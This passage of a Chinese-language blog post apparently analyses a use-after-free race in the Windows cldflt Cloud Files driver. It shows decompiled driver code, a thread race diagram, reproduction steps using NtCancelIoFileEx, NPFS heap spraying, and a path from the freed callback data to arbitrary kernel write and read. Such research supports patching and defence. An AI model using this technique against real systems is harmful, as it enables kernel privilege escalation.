92, 197);"><span leaf="">07</span></span><span leaf=""> cldflt!HsmiRecallHydrationCompletionCallback</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">08</span></span><span leaf=""> cldflt!CldiStreamCompleteRequest</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">09</span></span><span leaf=""> cldflt!CldiStreamProcessPendingHydrationRequests</span><br/><span leaf="">0a cldflt!CldStreamTransferData</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">0b</span></span><span leaf=""> cldflt!CldiSyncTransferOrAckDataByObject</span><br/><span leaf="">0c cldflt!CldiSyncTransferOrAckData</span><br/><span leaf="">0d cldflt!CldiPortProcessTransferData</span><br/><span leaf="">0e cldflt!CldiPortProcessTransfer</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">0f</span></span><span leaf=""> cldflt!CldiPortNotifyMessage</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完成 CLDFLT 请求时，同样会在访问回调数据队列（CBDQ）之前获取锁 </span><strong><span leaf="">在 (1) 处</span></strong><span leaf="">。处理完请求后 </span><strong><span leaf="">在 (2) 处</span></strong><span leaf="">，流程进入 </span><strong><span leaf="">(3)</span></strong><span leaf="">完成 CLDFLT 请求，并 </span><strong><span leaf="">释放回调数据条目（CBD）</span></strong><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamProcessPendingHydrationRequests</span></span><span leaf="">(CLDI_STREAM_CONTEXT_VIEW *StreamContext, [...])</span><br/><span leaf="">{</span><br/><span leaf="">  [...]</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamCdqACQUIRE</span></span><span leaf="">(Cbdq: &amp;StreamContext-&gt;RuntimeView-&gt;InstanceContext-&gt;Cbdq);                 </span><span style="color: rgb(106, 115, 125);"><span leaf="">// &lt;------------ (1)</span><br/></span><span leaf="">  [...]</span><br/><span leaf="">  HydrationRequestLink = (__int64 *</span><span style="color: rgb(0, 92, 197);"><span leaf="">__shifted</span></span><span leaf="">(_CLDI_STREAM_REQUEST,</span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">))p_RequestListHead-&gt;Flink;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( HydrationRequestLink != (__int64 *</span><span style="color: rgb(0, 92, 197);"><span leaf="">__shifted</span></span><span leaf="">(_CLDI_STREAM_REQUEST,</span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">))p_RequestListHead</span><br/><span leaf="">       &amp;&amp; HydrationRequestLink != (__int64 *</span><span style="color: rgb(0, 92, 197);"><span leaf="">__shifted</span></span><span leaf="">(_CLDI_STREAM_REQUEST,</span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">))&amp;StackList )</span><br/><span leaf="">  {</span><br/><span leaf="">    status = CompletionStatusLocal;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int16)</span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink)-&gt;TypeFlags.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Value</span></span><span leaf=""> == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><br/><span leaf="">      &amp;&amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink) != StreamContext-&gt;ActiveProviderRequest )</span><br/><span leaf="">    {</span><br/><span leaf="">      [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(</span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink)-&gt;HydrationSourceToken ? RequestModeLocal == </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf=""> : RequestModeLocal == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) )</span><br/><span leaf="">      {</span><br/><span leaf="">        [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( SavedCompletionStatus &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">        {</span><br/><span leaf="">          TransferredLength = ByteLength;</span><br/><span leaf="">          status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamServiceHydrationRequest</span></span><span leaf="">(                    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// &lt;------------ (2)</span><br/></span><span leaf="">                     StreamContext,</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ByteOffset</span></span><span leaf="">,</span><br/><span leaf="">                     ByteLength,</span><br/><span leaf="">                     Buffer,</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink),</span><br/><span leaf="">                     (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int8 *)v25,</span><br/><span leaf="">                     &amp;ScheduleForMoreProcessing);</span><br/><span leaf="">          ServiceStatus = status;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">HsmDbgBreakOnStatus</span></span><span leaf="">(Status: status);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( ServiceStatus &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">          {</span><br/><span leaf="">            RequestSatisfied = v25[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">];</span><br/><span leaf="">            scheduleForMoreProcessing = ScheduleForMoreProcessing;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_22;</span><br/><span leaf="">          }</span><br/><span leaf="">          scheduleForMoreProcessing = ScheduleForMoreProcessing;</span><br/><span leaf="">        }</span><br/><span leaf="">        RequestSatisfied = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">LABEL_22:</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( scheduleForMoreProcessing || RequestSatisfied )</span><br/><span leaf="">        {</span><br/><span leaf="">          [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( RequestSatisfied )</span><br/><span leaf="">          {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamPrepareRequestForNonCdqCompletion</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink));</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamCompleteRequest</span></span><span leaf="">(StreamContext, </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink), status, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// &lt;------------ (3)</span><br/></span><span leaf="">            RequestModeLocal = SavedRequestMode;</span><br/><span leaf="">            CompletionStatusLocal = SavedCompletionStatus;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> _ACQUIRE_AND_LOOP_AGAIN;</span><br/><span leaf="">          }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( scheduleForMoreProcessing )</span><br/><span leaf="">          {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf="">...</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamScheduleRequestForMoreProcessing</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink));</span><br/><span leaf="">          }</span><br/><span leaf="">        }</span><br/><span leaf="">        RequestModeLocal = SavedRequestMode;</span><br/><span leaf="">      }</span><br/><span leaf="">    }</span><br/><span leaf="">LABEL_35:</span><br/><span leaf="">    HydrationRequestLink = (__int64 *</span><span style="color: rgb(0, 92, 197);"><span leaf="">__shifted</span></span><span leaf="">(_CLDI_STREAM_REQUEST,</span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">))</span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(HydrationRequestLink)-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span leaf="">    CompletionStatusLocal = SavedCompletionStatus;</span><br/><span leaf="">  }</span><br/><span leaf="">  [...]</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamCdqRELEASE</span></span><span leaf="">(Cbdq: &amp;StreamContext-&gt;RuntimeView-&gt;InstanceContext-&gt;Cbdq);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总结一下，我们需要牢记以下几点：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// COMPLETE </span><br/></span><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> : CldStreamCdqACQUIRE</span><br/><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf=""> : CldiStreamCompleteRequest </span><span style="color: rgb(106, 115, 125);"><span leaf="">// free Callback Data (CBD)</span><br/></span><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf=""> : CldStreamCdqRELEASE</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">竞争策略</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我还制作了一张可视化图表，方便我们更直观地理解：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Thread 1                            Thread 2</span><br/><span leaf="">                                  CldiStreamProcessPendingHydrationRequests</span><br/><span leaf="">                                  CldiStreamCdqACQUIRE()</span><br/><span leaf="">NtCancelIoFileEx                            |</span><br/><span leaf="">Stuck at CldiStreamCdqACQUIRE()             |  Still holding...</span><br/><span leaf="">-&gt; Wait for resource....                    |</span><br/><span leaf="">                                            V</span><br/><span leaf="">                                  Process Hydration request... success</span><br/><span leaf="">                                  CldiStreamCompleteRequest() </span><br/><span leaf="">                                      -&gt; FltCbdqRemoveIo()</span><br/><span leaf="">                                  HsmiRecallHydrationCompletionCallback()</span><br/><span leaf="">                                      -&gt; FltCompletePendedPreOperation()</span><br/><span leaf="">                                         -&gt; FltpFreeIrpCtrl()</span><br/><span leaf="">                                  CldiStreamCdqRELEASE()</span><br/><span leaf="">Acquired</span><br/><span leaf="">-&gt; CldStreamCdqREMOVE_IO(Cbdq, Cbd)</span><br/><span leaf="">    -&gt; At this point the Cbd is already freed</span><br/><span leaf="">    -&gt; UAF</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是复现该竞态的步骤：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">创建大量 CLDFLT 注水（hydrate）请求</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">创建一个线程反复触发 </span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">CldiStreamProcessPendingHydrationRequests</span></strong></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">另一个线程对所有注水请求调用 </span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">NtCancelIoFileEx</span></strong></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">UAF 利用成功后，系统会崩溃并停在 </span><strong><span leaf="">CldStreamCdqREMOVE_IO</span></strong><span leaf="">，此时我的喷射数据已成功注入。为确保释放后的回调数据包含我控制的数据，我持续使用自己的数据创建 </span><strong><span leaf="">NPFS Data Queue Entry</span></strong><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在，我控制了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CBD-&gt;QueueLinks</span></code><span leaf="">的数据；我将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">QueueLinks</span></code><span leaf="">重定向至用户态内存中的链表，造成无法逃脱的无限循环。随后，它会不断进入 </span><strong><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></strong><span leaf="">，使用那块用户态内存区域。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">//////////////////////</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldStreamCdqREMOVE_IO</span></span><span leaf="">(PFLT_CALLBACK_DATA_QUEUE Cbdq, PFLT_CALLBACK_DATA Cbd)</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// Success Control QueueLinks, -&gt; MAKE LOOP INFINITE</span><br/></span><span leaf="">    p_QueueLinks = &amp;Cbd-&gt;QueueLinks;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> ( queuedRequestLink = Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span leaf="">        queuedRequestLink != p_QueueLinks;</span><br/><span leaf="">        queuedRequestLink = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: queuedRequestLink)-&gt;NonCdqCompletionLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></span><span leaf="">(Request: </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: queuedRequestLink));</span><br/><span leaf="">  }</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">//////////////////////</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></span><span leaf="">(CLDI_STREAM_REQUEST *Request)</span><br/><span leaf="">{</span><br/><span leaf="">  result = Request-&gt;IsPreparedForMoreProcessing;  </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Request is usermode memory.</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( result || (result = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamPrepareRequestForMoreProcessing</span></span><span leaf="">(Request)) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    p_InstanceRequestLinks = &amp;Request-&gt;InstanceRequestLinks;</span><br/><span leaf="">    Flink = Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Flink-&gt;Blink != &amp;Request-&gt;InstanceRequestLinks</span><br/><span leaf="">      || (Blink = Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf="">, Blink-&gt;Flink != p_InstanceRequestLinks) )</span><br/><span leaf="">    {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">__fastfail</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3u</span></span><span leaf="">);</span><br/><span leaf="">    }</span><br/><span leaf="">    Blink-&gt;Flink = Flink;</span><br/><span leaf="">    Flink-&gt;Blink = Blink;</span><br/><span leaf="">    Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = &amp;Request-&gt;InstanceRequestLinks;</span><br/><span leaf="">    p_InstanceRequestLinks-&gt;Flink = p_InstanceRequestLinks;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> result;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><strong><span leaf="">CldiStreamPrepareRequestForMoreProcessing</span></strong><span leaf="">被调用时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Request-&gt;CbdqRefContext</span></code><span leaf="">指向内核地址以获取任意写。已进入无限循环；我可以操纵 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Request-&gt;CbdqRefContext</span></code><span leaf="">指向任意位置，从而实现多次未授权写入。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamPrepareRequestForMoreProcessing</span></span><span leaf="">(CLDI_STREAM_REQUEST *Request)</span><br/><span leaf="">{</span><br/><span leaf="">  ULONGLONG currentQpc; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rax</span><br/></span><span leaf="">  CLDI_CBDQ_REF_CONTEXT *callbackQueueRef; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rcx</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeEnterCriticalRegion</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ExAcquireResourceExclusiveLite</span></span><span leaf="">(Resource: &amp;Resource, Wait: </span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">);</span><br/><span leaf="">  currentQpc = MEMORY[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFF78000000014</span></span><span leaf="">];</span><br/><span leaf="">  callbackQueueRef = Request-&gt;CbdqRefContext;</span><br/><span leaf="">  Request-&gt;LastPreparedQpc = MEMORY[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFF78000000014</span></span><span leaf="">];</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( callbackQueueRef )</span><br/><span leaf="">    callbackQueueRef-&gt;LastPreparedQpc = currentQpc;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// arb write, callbackQueueRef point to any where on kernel memory</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Request-&gt;GlobalRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> == &amp;Request-&gt;GlobalRequestLinks )</span><br/><span leaf="">  {</span><br/><span leaf="">    Request = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamRemoveFromGlobalRequestListNoLock</span></span><span leaf="">(Request);</span><br/><span leaf="">    Request-&gt;IsPreparedForMoreProcessing = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ExReleaseResourceLite</span></span><span leaf="">(Resource: &amp;Resource);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeLeaveCriticalRegion</span></span><span leaf="">();</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> Request != </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于我无法控制写入该地址的具体数据，因此我们必须找到一个包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">size</span></code><span leaf="">字段的对象作为目标。这将促成越界读，最终赋予任意读能力。为此，我正在通过另一条利用链来利用泄露漏洞。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一种策略</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span 